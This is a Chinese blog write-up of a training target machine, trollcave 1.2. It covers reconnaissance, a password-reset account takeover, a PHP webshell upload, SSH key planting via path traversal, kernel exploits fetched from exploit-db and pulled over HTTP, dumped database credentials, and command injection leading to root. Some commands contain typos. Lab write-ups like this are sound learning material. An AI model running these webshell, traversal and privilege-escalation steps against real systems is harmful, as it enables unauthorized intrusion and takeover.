靶机训练2 - trollcave: 1.2

二, 靶机训练2 - trollcave: 1.2

前期准备

image-20220705215936147

1. 信息收集

主机发现

  • kali下

    • ifconfig
      nmap -sP 192.168.31.0/24
      
      -sP: 只进行Ping扫描,使用该选项扫描可以轻易地获取目标信息而不会被轻易发现
      

image-20220706001422989

端口扫描

nmap -sV -sC -A 192.168.31.214

-sV 表示探测目标机器上的服务信息
-sC sC参数表示使用nmap脚本进行探测
-A 显示路由等信息

image-20220706001620288

  • 开放了22 和 80端口

image-20220706004356733

目录扫描

  • 利用 gobuster 进行目录扫描,并尝试访问目录

    • gobuster dir -u http://192.168.31.214/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100
      

image-20220706004438461

  • 访问admin,会跳转到登录页面,因为需要登录后才能访问

image-20220706005215397

收集用户信息

  • 通过点击King,可以看到他是管理员,点击其他用户是普通用户

image-20220706005038747

  • 通过切换这个user id 可以尝试到有17个用户

image-20220706005642422

  • 可以手动去记录用户名和等级
King:Superadmin
dave:Admin
dragon:Admin
coderguy:Admin
cooldude89:Moderator
Sir:Moderator
Q:Moderator
teflon:Moderator
TheDankMan:Regular member
artemus:Regular member
MrPotatoHead:Regular member
Ian:Regular member
kev:Member
notanother:Member
anybodyhome:Member
onlyme:Member
xer:Member
  • 也可以通过编写 python 脚本进行获取

image-20220706013514292

image-20220706013537003

  • 尝试登陆,查看提示信息
    • 还可以通过burpsuite 抓包去获取提示信息
    • 还可以通过python脚本去获取这个提示信息

image-20220706014123203

image-20220706015859847

2. 确认源码

  • 通过谷歌插件 Wappalyzer 可以识别出网站采用了那种 web 技术
    • ruby

image-20220706010724781

  • 网站有提供密码重设的介绍,但连接无法访问(下面就是找办法去访问)

    • 192.168.31.214/users/password_resets
      

image-20220706020508043

  • 通过百度和翻译去其中的突破点
    • 看到网站使用了 rails 技术

image-20220706020609805

image-20220706021102610

image-20220706021317891

image-20220707002409928

  • 尝试给管理员用户重设密码,发现只能给普通用户重设密码

image-20220707003219626

  • 在重设密码页面看到一个xer用户,尝试重设密码后,弹出一个url,访问即可重设密码
    • 设置为abc123456789即可进入用户页面

image-20220707003040741

image-20220707003255041

image-20220707003413270

  • 可以看到有一个文件上传的功能

image-20220707003702511

  • kali的靶机目录下创建一个一句话木马的php文件 binge.php,尝试上传

    • <?php system($_POST['binge']);?>
      

image-20220707004242939

image-20220707004443796

  • 普通用户不能上传文件,尝试修改管理员用户,看看能不能修改权限,刚刚重置xer的时候给的连接最后有个name=xer可能存在越权漏洞可用把xer改为King

    • Reset email sent. http://192.168.31.214/password_resets/edit.qZu16E-YDbB-FKsH5gel_g?name=King
      
  • 重置密码后成功进入管理员界面

image-20220707005404602

  • 上传文件发现还是不能,但提示需要管理员没有开启这个文件上传功能

image-20220707005713242

  • 在admin panel中发现可以开启上传,开启后上传木马文件成功

image-20220707005816149

image-20220707005837088

  • 访问文件,获取他的路径

    • /var/www/trollcave/public/uploads/King/binge.php
      

image-20220707010158166

image-20220707010214784

  • 但访问文件时遇到一个问题,Ruby 网站是不解释php文件的

image-20220707011052880

  • 但前面可以看到靶机还开放了一个22端口,我们可以上传ssh公钥,并用ssh实现登录

    • 发现上传的文件可以上传到其他目录(文件可覆盖)

    • 可以试试 rails 用户是否存在 ,存在就可以上传 authorized_keys 到 rails 用户下的.ssh 就可以免密码登录 ssh

    • /home/rails/.ssh/authorized_keys
      
  • 本地生成ssh秘钥对,并将公钥改名

    • ssh-keygen -f rails  
      mv rails.pub authorized_key
      

image-20220707012434723

  • 上传
    • 上传时要利用../../../../../跳转到根目录,故上传路径为../../../../../../../home/rails/.ssh/authorized_keys

image-20220707012903417

  • 查看上传目录是否正确

image-20220707013053829

  • 修改秘钥名字,然后进行ssh登录

    • mv rails id_rsa-rails 
      chmod 600 id_rsa-rails
      ssh -i id_rsa-rails rails@192.168.31.214(这是靶机ip)
      

image-20220707013505132

  • 靶机的系统

    • Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-210-generic x86_64)
      
  • 改用 交互式shell

    • /bin/bash -i

    • bash
      
  • 查看系统版本,是否可以提权

    •  cat /etc/lsb-release
      

image-20220707013814645

  • 通过google,找到16.04版本有一个漏洞,exp下载地址

    • https://www.exploit-db.com/exploits/45010
      
    • 下载后放到kali下

image-20220707231323895

  • exp是一个c文件,先查看靶机是否有gcc编译器,发现没有,需要本地编译再上传

    • gcc 45010.c -o cve
      

image-20220707231729445

  • 在上传靶机前,需要进行base64编码

    • base64 cve
      

    image-20220707232056031

  • 通过靶机的shell ,然后在靶机里新建cve.64文件,把base64编码复制进去,然后进行解码,然后给exp执行权限(直接给777),执行

    • base64 -d cve.64 > exp
      chmod 777 exp
      ./exp
      
  • 这样子会报错

  • 第二种方法上传另一个漏洞也不行

    • 先上网下载exp并编译

    • 或者通过kali终端搜索

      • searchsploit 4.4.0-116
        # 复制到当前路径
        cp  /usr/share/exploitdb/exploits/linux/local/44298.c ./
        gcc 44298.c 44298exp
        
  • 在exp 的目录下开启python httpserver

    • python3 -m http.server
      
  • 在shell中下载exp

    • wegt https://192.168.31.239:8000/44298exp
      
  • 遇到一个exp代码错误

image-20220708233731041

  • 经过各方排查,发现是下载的靶机的内核版本问题,新的靶机已经修复了漏洞,导致exp无法成功运行
  • 重新下载了一个新的靶机,uname -a 查看内核

image-20220710180056334

  • 按照一样的步骤成功提权,拿到root权限

image-20220710180141297

  • 成功拿到 flag.txt

image-20220710180407727

  • 另一种方法
  • 查看端口

image-20220710164233904

  • 发现3000 端口只能本地访问

    • curl http://localhost:3000
      
  • 5432是postgresql数据库

  • 查看网站的配置目录并查看其中的数据库配置文件,记录数据库的信息

    • /var/www/trollcave/config
      
      数据库信息
        username: tc
        password: sowvillagedinnermoment
      

image-20220710165008886

  • 查看并访问数据库所在目录,访问一下数据库文件

    • sqlite3 development.sqlite3
      # 查看帮助文档
      .help
      # 查看表
      .tables
      # 查看表内容
      select * from 表名;
      # 拿到的信息
      pwd: uFrrK3dXzWeZQ7JtGgZk4FT
      # 还可以拿到uesr表的用户密码信息
      

image-20220710180549309

  • 退出

    • .exit
      
  • 查看etc下的密码文件,如果没有改密码前,是可以拿着passwd下的密码进行密文破解,也是可以登录的

    • cat /etc/passwd
      
  • 先查看端口信息,只能本地访问

image-20220710183720996

  • 建立一个本地转发

  • 进入ssh

    • shift ~
      shift C
      
  • 进入之后可以通过help进行帮助

    • -L 5432:localhost:5432
      
  • 需要用到dbserver

    • apt install dbeaver 
      # 打开
      dbeaver
      
  • 根据刚刚从数据库文件中获取的用户密码,先测试连接PostgreSQL,然后连接(不选择新建数据库)

image-20220710184717832

image-20220710184903731

  • 但里面没有表,没有啥利用信息

  • 继续转发8888端口,查看代码执行漏洞

    • -L 8888:localhost:8888
      

image-20220711221858239

  • 浏览器访问

image-20220710185608183

  • 可以看到,这是个计算器

image-20220710185656512

  • 直接点击可能没效果,修改url

    • http://localhost:8888/calc?sum=1+1
      

image-20220710185750151

  • firefox 浏览器设置代理,尝试开启burpsuite 抓包

    • burpsuite
      

image-20220711231600340

  • 通过shell 搜索一下 计算器程序文件 calc 的位置

    • /home/king/calc
      

image-20220711233801074

image-20220711233855856

  • 查看程序内容,查找执行命令的内容

    • require('child_process').exec;
      

image-20220711234142930

  • 放到 burpsuite 中的命令中,尝试看能不能执行命令

    • 发现是可以创建文件,但执行命令没有结果(可能没权限),命令要编码

      • # 选中要进行url 编码的 text,然后 ctrl + U 
        cat+/etc/passwd+>/tmp/passd'
        cat+/etc/passwd+>/tmp/passd
        

image-20220711235528941

image-20220711235844467

  • 可以换个思路,做一个自己写的文件(有执行命令),编译后,通过shell上传到 /tmp目录,然后执行该文件,就可以使用脚本去执行命令,把exp cp到指定的管理员目录下,执行漏洞,实现提权

  • 测试脚本执行命令的可行性,需要给1.sh执行权限

    • chmod 755 1.sh
      

image-20220712003605232

  • 开始编写

image-20220712000915481

  • 其中的uid提权用的1000 是管理员用户King的uid

    • cat /etc/passwd
      

image-20220712001048323

  • 按照前面的方式进行base64编码,放到shell的/tmp目录下

image-20220712001305138

  • 建立一个执行脚本1.sh

image-20220712002755206

  • 重新改包后发送,就可以执行1.sh中的命令

image-20220712001831818

image-20220712003810873

  • 执行exp就拿到了king超级管理员权限

image-20220712004011053

  • 切换到 root目录,即可完成

    • sudo su -
      

image-20220712004152933

posted @   bingekong  阅读(102)  评论(0编辑  收藏  举报
编辑推荐:
· AI与.NET技术实操系列:基于图像分类模型对图像进行分类
· go语言实现终端里的倒计时
· 如何编写易于单元测试的代码
· 10年+ .NET Coder 心语,封装的思维:从隐藏、稳定开始理解其本质意义
· .NET Core 中如何实现缓存的预热?
阅读排行:
· 分享一个免费、快速、无限量使用的满血 DeepSeek R1 模型,支持深度思考和联网搜索!
· 25岁的心里话
· 基于 Docker 搭建 FRP 内网穿透开源项目(很简单哒)
· ollama系列01:轻松3步本地部署deepseek,普通电脑可用
· 按钮权限的设计及实现
点击右上角即可分享
微信分享提示